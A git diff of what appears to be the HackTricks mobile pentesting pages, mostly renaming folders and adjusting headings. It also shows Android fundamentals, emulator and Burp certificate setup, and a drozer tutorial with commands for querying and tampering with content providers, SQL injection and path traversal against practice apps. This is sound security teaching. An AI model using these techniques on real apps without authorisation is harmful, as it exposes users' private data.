restrictions or gain access to the latest Android code.\ **OmniROM** and **LineageOS** are two of the most popular firmwares to use. Note that **not always is necessary to root the device** to install a custom firmware. **Some manufacturers allow** the unlocking of their bootloaders in a well-documented and safe manner. -## Implications +### Implications Once a device is rooted, any app could request access as root. If a malicious application gets it, it can will have access to almost everything and it will be able to damage the phone. -# Android Application Fundamentals +## Android Application Fundamentals This introduction is taken from [https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html) -## Fundamentals Review +### Fundamentals Review * Android applications are in the _APK file format_. **APK is basically a ZIP file**. (You can rename the file extension to .zip and use unzip to open and see its contents.) * APK Contents (Not exhaustive) @@ -112,7 +113,7 @@ This introduction is taken from [https://maddiestone.github.io/AndroidAppRE/app\ * res/ * the directory containing resources not compiled into resources.arsc -## **Dalvik & Smali** +### **Dalvik & Smali** Most Android applications are written in Java. Kotlin is also supported and interoperable with Java. For ease, for the rest of this workshop, when I refer to “Java”, you can assume that I mean “Java or Kotlin”. **Instead of the Java code being run in Java Virtual Machine** (JVM) like desktop applications, in Android, the **Java is compiled to the \_Dalvik Executable (DEX) bytecode**\_\*\* format\*\*. For earlier versions of Android, the bytecode was translated by the Dalvik virtual machine. For more recent versions of Android, the Android Runtime (ART) is used.\ If developers, write in Java and the code is compiled to DEX bytecode, to reverse engineer, we work the opposite direction.\ @@ -124,7 +125,7 @@ If developers, write in Java and the code is compiled to DEX bytecode, to revers **Smali is the human readable version of Dalvik bytecode**. Technically, Smali and baksmali are the name of the tools (assembler and disassembler, respectively), but in Android, we often use the term “Smali” to refer to instructions. If you’ve done reverse engineering or computer architecture on compiled C/C++ code. **SMALI is like the assembly language: between the higher level source code and the bytecode**. -# Intents +## Intents Intents are the primary means by which Android apps communicate between their components or with other apps. These message objects can also carry data between apps or component, similar to how GET/POST requests are used in HTTP communications. @@ -139,7 +140,7 @@ To be simple Intent can be used: Improper implementation could result in data leakage, restricted functions being called and program flow being manipulated. -## Intent-Filter +### Intent-Filter An Intent Filter specify the **types of Intent that an activity, service, or Broadcast Receiver can respond to**. It specifies what an activity or service can do and what types of broadcasts a Receiver can handle. It allows the corresponding component to receive Intents of the declared type. Intent Filters are typically **defined via the AndroidManifest.xml file**. For **Broadcast Receiver** it is also possible to define them in **coding**. An Intent Filter is defined by its category, action and data filters. It can also contain additional metadata. @@ -148,7 +149,7 @@ developers can **explicitly make components private** (regardless of any intent by setting the \*\* `exported` attribute to `false`\*\* for each component in the manifest file.\ Developers can also set the **`permission`** attribute to **require a certain permission to access** the component, thereby restricting access to the component. -## Implicit Intents +### Implicit Intents Intents are programatically created using an Intent constructor: @@ -173,7 +174,7 @@ An intent-filter needs to match the **action**, **data** and **category** to rec The "Intent resolution" process determine which app should receive each message. This process considers the **priority attribute**, which can be set in the i**ntent-filter declaration**, and t**he one with the higher priority will be selected**. This priority can be set between -1000 and 1000 and applications can use the `SYSTEM_HIGH_PRIORITY` value. If a **conflict** arises, a "choser" Window appears so the **user can decide**. -## Explicit Intents +### Explicit Intents An explicit intent specifies the class name it's targeting: @@ -189,11 +190,11 @@ intent.setClassName("com.other.app", "com.other.app.ServiceName"); context.startService(intent); ``` -## Pending Intents +### Pending Intents These allow other applications to **take actions on behalf of your application**, using your app's identity and permissions. Constructing a Pending Intent it should be **specified an intent and the action to perform**. If the **declared intent isn't Explicit** (doesn't declare which intent can call it) a **malicious application could perform the declared action** on behalf of the victim app. Moreover, **if an action ins't specified**, the malicious app will be able to do **any action on behalf the victim**. -## Broadcast Intents +### Broadcast Intents Unlike the previous intents, which are only received by one app, broadcast intents **can be received by multiple apps**. However, from API version 14, it's **possible to specify the app that should receive** the message using Intent.set Package. @@ -204,7 +205,7 @@ There are **two types** of Broadcasts: **Normal** (asynchronous) and **Ordered** It's possible to **send** a **broadcast** using the function \*\*`sendBroadcast(intent, receiverPermission)` \*\* from the `Context` class.\ You could also use the function **`sendBroadcast`** from the **`LocalBroadCastManager`** ensures the **message never leaves the app**. Using this you won't even need to export a receiver component. -## Sticky Broadcasts +### Sticky Broadcasts This kind of Broadcasts **can be accessed long after they were sent**.\ These were deprecated in API level 21 and it's recommended to **not use them**.\ @@ -212,7 +213,7 @@ These were deprecated in API level 21 and it's recommended to **not use them**.\ If you find functions containing the word "sticky" like **`sendStickyBroadcast`** or **`sendStickyBroadcastAsUser`**, **check the impact and try to remove them**. -# Deep links / URL schemes +## Deep links / URL schemes **Deep links allow to trigger an Intent via URL**. An application can declare an **URL schema** inside and activity so every time the Android device try to **access an address using that schema** the applications activity will be called: @@ -240,11 +241,11 @@ In this case you could try to abuse the functionality creating a web with the fo In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. -![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (436) (1) (1).png>) Learn how to [call deep links without using HTML pages](./#exploiting-schemes-deep-links). -# AIDL - Android Interface Definition Language +## AIDL - Android Interface Definition Language The **Android Interface Definition Language** (AIDL) allows you to define the programming interface that both the client and service agree upon in order to **communicate with each other using interprocess communication** (IPC). On Android, **one process cannot normally access the memory of another process**. So to talk, they need to decompose their objects into primitives that the **operating system** can understand, and marshall the objects across that boundary for you. The code to do that marshalling is tedious to write, so Android handles it for you with AIDL.). @@ -252,19 +253,19 @@ Services using AIDL are referred to as **Bound Services**. In the Service's clas A bound service is the server in a client-server interface. **It allows components (such as activities) to bind to the service, send requests, receive responses, and perform interprocess communication** (IPC). A bound service typically lives only while it serves another application component and does not run in the background indefinitely. -## Messenger +### Messenger A Messenger is another type of IPC mechanism. Since the **Messenger is also a "Bound Service"**, the data passed from the client app is also processed through the `onBind` method. So, the code review should start on this method and you should look for the invocation of sensitive functionality or unsafe handling of data. -## Binder +### Binder It's weird to find a Binder class directly invoked as it's much easier to use AIDL (which abstracts the Binder class). However, it's good to know that **Binder is a kernel-level driver which moves data from one process's memory to another's** ([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)). -# Components +## Components These include: **Activities, Services, Broadcast Receivers and Providers.** -## Launcher Activity and other activities +### Launcher Activity and other activities An **Android activity** is one screen of the **Android** app's user interface. In that way an **Android activity** is very similar to windows in a desktop application. An **Android** app may contain one or more activities, meaning one or more screens. @@ -292,13 +293,13 @@ Also, **some activities returns data to a caller**. In these scenarios you need **The code of an activity starts with the `onCreate` method.** -## Application Subclass +### Application Subclass Android applications can define a **subclass** of [Application](https://developer.android.com/reference/android/app/Application). Applications can, but do not have to define a custom subclass of Application. If an Android app defines an Application subclass, t**his class is instantiated prior to any other class in the application**. If the **`attachBaseContext`** method is defined in the Application subclass, it is called first, before the **`onCreate`** method. -## Services +### Services [Services](https://developer.android.com/guide/components/services) **run in the background without a UI.** They are used to perform **long-running processes, even if the user starts using a different application**. @@ -316,7 +317,7 @@ A **service can be exported which allows other processes on the device to start ``` -## Broadcast Receivers +### Broadcast Receivers Broadcasts can be thought of a messaging system and **broadcast receivers are the listeners**. If an application has registered a receiver for a specific broadcast, the code in that receiver is executed when the system sends the broadcast. Note that in this case **several apps can receive the same message**. @@ -337,7 +338,7 @@ Broadcast can be **asynchronous** (every receiver receives it) or **synchronous* To **examine** the **code** implemented into a Broadcast Receiver you need to search for the **`onReceive`** method of the class of the receiver.\ Note that **Ordered Broadcasts can drop the Intent received or even modify it** using one of the setter methods. Therefore, the **receivers should validate the data**. -## Content Provider +### Content Provider Content Providers are the way **apps share structured data**, such as relational databases. Therefore, it's very important to use **permissions** and set the appropriate protection level to protect them.\ Content Providers can use the **`readPermission`** and **`writePermission`** attributes to specify which permissions an app must have. **These permissions take precedence over the permission attribute**.\ @@ -394,7 +395,7 @@ The `` element can have multiple children, each specifying a different di [More information about FileProviders here](https://developer.android.com/training/secure-file-sharing/setup-sharing). -# WebViews +## WebViews WebViews are effectively **web browsers** embedded into Android Apps.\ WebViews content can be pulled from remote sites or can be files included in the app.\ @@ -421,21 +422,21 @@ By default, local files can be accessed by WebViews via file:// URLs, but there * The method **`setAllowFileAccess`** indicates if a path from a `file://` URL should be able to access the content from other file scheme URLs. * The method **`setAllowUniversalAccessFromFileURLs`** indicates if a path from a `file://` URL should be able to access content from any origin. -# Other App components +## Other App components -## **Application Signing** +### **Application Signing** * Android requires that **all apps be digitally signed with a certificate** before they can be installed. Android uses this certificate to identify the author of an app. * To run application on the device, it should be signed.When application is installed on to a device the **package manager verifies** that whether the application has been properly signed with the certificate in the apk file or not. * Application can be self signed or can be signed through CA. * Application signing ensures that one application can’t access any other application except through well-defined IPC and also that it is passed unmodified to the device. -## **Application Verification** +### **Application Verification** * Android 4.2 and later support application verification. Users can choose to enable “Verify Apps” and have applications evaluated by an application verifier prior to installation. * App verification can alert the user if they try to install an app that might be harmful; if an application is especially bad, it can block installation. -# Mobile Device Management +## Mobile Device Management MDM or Mobile Device Management are software suits that are used to **ensure a control and security requirements** over mobile devices. These suites use the features referred as Device Administration API and require an Android app to be installed. diff --git a/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md b/mobile-pentesting/android-app-pentesting/android-burp-suite-settings.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md rename to mobile-pentesting/android-app-pentesting/android-burp-suite-settings.md diff --git a/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md rename to mobile-pentesting/android-app-pentesting/android-task-hijacking.md diff --git a/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md b/mobile-pentesting/android-app-pentesting/apk-decompilers.md similarity index 99% rename from mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md rename to mobile-pentesting/android-app-pentesting/apk-decompilers.md index e38962fc..0f02d0ef 100644 --- a/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md +++ b/mobile-pentesting/android-app-pentesting/apk-decompilers.md @@ -16,7 +16,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- ## [JD-Gui](https://github.com/java-decompiler/jd-gui) First famous gui Java decompiler, you could use it to investigate the Java code from the APK once you have obtained it. @@ -53,7 +52,7 @@ GDA is also a powerful and fast reverse analysis platform. Which does not only s **Only for Windows.** -![](<../../.gitbook/assets/image (207) (1) (1).png>) +![](<../../.gitbook/assets/image (207) (1).png>) ## [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases) diff --git a/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md b/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md similarity index 97% rename from mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md rename to mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 6a1d5d63..6a4ab9ab 100644 --- a/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -1,5 +1,7 @@ # AVD - Android Virtual Device +## AVD - Android Virtual Device +
Support HackTricks and get benefits! @@ -16,10 +18,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Thank you very much to [**@offsecjay**](https://twitter.com/offsecjay) for his help while creating this content. -# What is +## What is Android Studio allows to **run virtual machines of Android that you can use to test APKs**. In order to use them you will need: @@ -28,7 +29,7 @@ Android Studio allows to **run virtual machines of Android that you can use to t In Windows (in my case) **after installing Android Studio** I had the **SDK Tools installed in**: `C:\Users\\AppData\Local\Android\Sdk\tools` -# JDK +## JDK For MacOS machines I recommend you to install the following version to be able to use the CLI commands mentioned in the following sections: @@ -36,9 +37,9 @@ For MacOS machines I recommend you to install the following version to be able t brew install openjdk@8 ``` -# GUI +## GUI -## Prepare Virtual Machine +### Prepare Virtual Machine If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_ @@ -56,15 +57,15 @@ So, select it and click on _**Download**_\*\* (**now wait until the image is dow The virtual machine will be created. Now **every time that you access AVD manager it will be present**. -## Run Virtual Machine +### Run Virtual Machine In order to **run** it just press the _**Start button**_. ![](<../../.gitbook/assets/image (334).png>) -# Command Line tool +## Command Line tool -## Prepare Virtual Machine +### Prepare Virtual Machine {% hint style="info" %} In **MacOS** systems the executable is located in `/Users//Library/Android/sdk/tools/bin` @@ -176,7 +177,7 @@ The following Android Virtual Devices could not be loaded: Error: Google pixel_2 no longer exists as a device ``` -## Run Virtual Machine +### Run Virtual Machine We have already seen how you can list the created virtual machines, but **you can also list them using**: @@ -199,7 +200,7 @@ Or using more advance options you can run a virtual machine like: C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -## Command line options +### Command line options However there are **a lot of different command line useful options** that you can use to initiate a virtual machine. Below you can find some interesting options but can [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) @@ -223,11 +224,11 @@ However there are **a lot of different command line useful options** that you ca * `-screen {touch(default)|multi-touch|o-touch}` : Set emulated touch screen mode. * **`-writable-system`** : Use this option to have a writable system image during your emulation session. You will need also to run `adb root; adb remount`. This is very useful to install a new certificate in the system. -# Install Burp certificate on a Virtual Machine +## Install Burp certificate on a Virtual Machine First of all you need to download the Der certificate from Burp. You can do this in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ -![](<../../.gitbook/assets/image (367).png>) +![](<../../.gitbook/assets/image (367) (1).png>) **Export the certificate in Der format** and lets **transform** it to a form that **Android** is going to be able to **understand.** Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run** this machine **with** the **`-writable-system`** option.\ For example you can run it like: @@ -251,7 +252,7 @@ adb reboot #Now, reboot the machine Once the **machine finish rebooting** the burp certificate will be in use by it! -# Take a Snapshot +## Take a Snapshot You can **use the GUI** to take a snapshot of the VM at any time: diff --git a/mobile-apps-pentesting/android-app-pentesting/content-protocol.md b/mobile-pentesting/android-app-pentesting/content-protocol.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/content-protocol.md rename to mobile-pentesting/android-app-pentesting/content-protocol.md diff --git a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md b/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md rename to mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md diff --git a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md similarity index 95% rename from mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md rename to mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index 731b5687..6b167e9b 100644 --- a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -1,5 +1,7 @@ # Exploiting Content Providers +## Exploiting Content Providers +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Intro +## Intro A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored** in a **database**, in **files**, or even over a **network**. @@ -34,7 +35,7 @@ In this case, it's necessary the permission `READ_KEYS` to access `content://com **Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).** -# Get info from **exposed content providers** +## Get info from **exposed content providers** ``` dz> run app.provider.info -a com.mwr.example.sieve @@ -76,7 +77,7 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/ You should also check the **ContentProvider code** to search for queries: -![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>) +![](<../../../.gitbook/assets/image (121) (1) (1).png>) Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method: @@ -84,7 +85,7 @@ Also, if you can't find full queries you could **check which names are declared The query will be like: `content://name.of.package.class/declared_name` -# **Database-backed Content Providers** +## **Database-backed Content Providers** Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\ Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms. @@ -93,11 +94,11 @@ When checking the code of the Content Provider **look** also for **functions** n ![](<../../../.gitbook/assets/image (187).png>) -![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1) (1).png>) Because you will be able to call them -## Query content +### Query content ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical @@ -109,7 +110,7 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== email: incognitoguy50@gmail.com ``` -## Insert content +### Insert content Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB: @@ -119,17 +120,17 @@ Quering the database you will learn the **name of the columns**, then, you could _Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_ -## Update content +### Update content Knowing the name of the columns you could also **modify the entries**: ![](<../../../.gitbook/assets/image (190).png>) -## Delete content +### Delete content ![](<../../../.gitbook/assets/image (191).png>) -## **SQL Injection** +### **SQL Injection** It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\ When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_: @@ -173,13 +174,13 @@ Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/not sqlite_sequence ``` -# **File System-backed Content Providers** +## **File System-backed Content Providers** Content providers could be also used to **access files:** ![](<../../../.gitbook/assets/image (193).png>) -## Read **file** +### Read **file** You can read files from the Content Provider @@ -188,7 +189,7 @@ dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc 127.0.0.1 localhost ``` -## **Path Traversal** +### **Path Traversal** If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks). @@ -207,7 +208,7 @@ Vulnerable Providers: content://com.mwr.example.sieve.FileBackupProvider ``` -# References +## References * [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm) * [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) diff --git a/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md rename to mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md rename to mobile-pentesting/android-app-pentesting/frida-tutorial/README.md diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md rename to mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md rename to mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md rename to mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md rename to mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md diff --git a/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md b/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md rename to mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md diff --git a/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md b/mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md rename to mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md diff --git a/mobile-apps-pentesting/android-app-pentesting/intent-injection.md b/mobile-pentesting/android-app-pentesting/intent-injection.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/intent-injection.md rename to mobile-pentesting/android-app-pentesting/intent-injection.md diff --git a/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md rename to mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md diff --git a/mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md b/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md rename to mobile-pentesting/android-app-pentesting/manual-deobfuscation.md diff --git a/mobile-apps-pentesting/android-app-pentesting/react-native-application.md b/mobile-pentesting/android-app-pentesting/react-native-application.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/react-native-application.md rename to mobile-pentesting/android-app-pentesting/react-native-application.md diff --git a/mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md rename to mobile-pentesting/android-app-pentesting/reversing-native-libraries.md diff --git a/mobile-apps-pentesting/android-app-pentesting/smali-changes.md b/mobile-pentesting/android-app-pentesting/smali-changes.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/smali-changes.md rename to mobile-pentesting/android-app-pentesting/smali-changes.md diff --git a/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md b/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md rename to mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md diff --git a/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md b/mobile-pentesting/android-app-pentesting/webview-attacks.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/webview-attacks.md rename to mobile-pentesting/android-app-pentesting/webview-attacks.md diff --git a/mobile-apps-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md similarity index 81% rename from mobile-apps-pentesting/android-checklist.md rename to mobile-pentesting/android-checklist.md index 761939e0..5b5d6814 100644 --- a/mobile-apps-pentesting/android-checklist.md +++ b/mobile-pentesting/android-checklist.md @@ -1,4 +1,4 @@ - +# Android APK Checklist
@@ -16,23 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -{% hint style="warning" %} -**Support HackTricks and get benefits!** - -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? -Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** -{% endhint %} - -## [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals) +### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals) * [ ] [Basics](android-app-pentesting/#fundamentals-review) * [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali) @@ -48,7 +32,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] [How to use ADB](android-app-pentesting/#adb-android-debug-bridge) * [ ] [How to modify Smali](android-app-pentesting/#smali) -## [Static Analysis](android-app-pentesting/#static-analysis) +### [Static Analysis](android-app-pentesting/#static-analysis) * [ ] Check for the use of [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), checks for noting if the mobile was rooted, if an emulator is being used and anti-tampering checks. [Read this for more info](android-app-pentesting/#other-checks). * [ ] Sensitive applications (like bank apps) should check if the mobile is rooted and should actuate in consequence. @@ -67,7 +51,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] All the libraries compiled using the PIE flag? * [ ] Don't forget that there is a bunch of[ static Android Analyzers](android-app-pentesting/#automatic-analysis) that can help you a lot during this phase. -## [Dynamic Analysis](android-app-pentesting/#dynamic-analysis) +### [Dynamic Analysis](android-app-pentesting/#dynamic-analysis) * [ ] Prepare the environment ([online](android-app-pentesting/#online-dynamic-analysis), [local VM or physical](android-app-pentesting/#local-dynamic-analysis)) * [ ] Is there any [unintended data leakage](android-app-pentesting/#unintended-data-leakage) (logging, copy/paste, crash logs)? @@ -82,11 +66,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] Check for possible [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (probably some static code analysis will help here) * [ ] [Frida](android-app-pentesting/#frida): Just Frida, use it to obtain interesting dynamic data from the application (maybe some passwords...) -## Some obfuscation/Deobfuscation information +### Some obfuscation/Deobfuscation information * [ ] [Read here](android-app-pentesting/#obfuscating-deobfuscating-code) -
Support HackTricks and get benefits! @@ -102,5 +85,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/mobile-apps-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md similarity index 85% rename from mobile-apps-pentesting/ios-pentesting-checklist.md rename to mobile-pentesting/ios-pentesting-checklist.md index 93a367af..29670df7 100644 --- a/mobile-apps-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -1,4 +1,4 @@ - +# iOS Pentesting Checklist
@@ -16,29 +16,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -{% hint style="warning" %} -**Support HackTricks and get benefits!** - -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? -Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** -{% endhint %} - -## Preparation +### Preparation * [ ] Read [**iOS Basics**](ios-pentesting/ios-basics.md) * [ ] Prepare your environment reading [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md) * [ ] Read all the sections of [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) to learn common actions to pentest an iOS application -## Data Storage +### Data Storage * [ ] [**Plist files**](ios-pentesting/#plist) can be used to store sensitive information. * [ ] [**Core Data**](ios-pentesting/#core-data) (SQLite database) can store sensitive information. @@ -52,37 +36,37 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] [**Keychain**](ios-pentesting/#keychain) is usually used to store sensitive information that can be left when reselling the phone. * [ ] In summary, just **check for sensitive information saved by the application in the filesystem** -## Keyboards +### Keyboards * [ ] Does the application [**allow to use custom keyboards**](ios-pentesting/#custom-keyboards-keyboard-cache)? * [ ] Check if sensitive information is saved in the [**keyboards cache files**](ios-pentesting/#custom-keyboards-keyboard-cache) -## **Logs** +### **Logs** * [ ] Check if [**sensitive information is being logged**](ios-pentesting/#logs) -## Backups +### Backups * [ ] [**Backups**](ios-pentesting/#backups) can be used to **access the sensitive information** saved in the file system (check the initial point of this checklist) * [ ] Also, [**backups**](ios-pentesting/#backups) can be used to **modify some configurations of the application**, 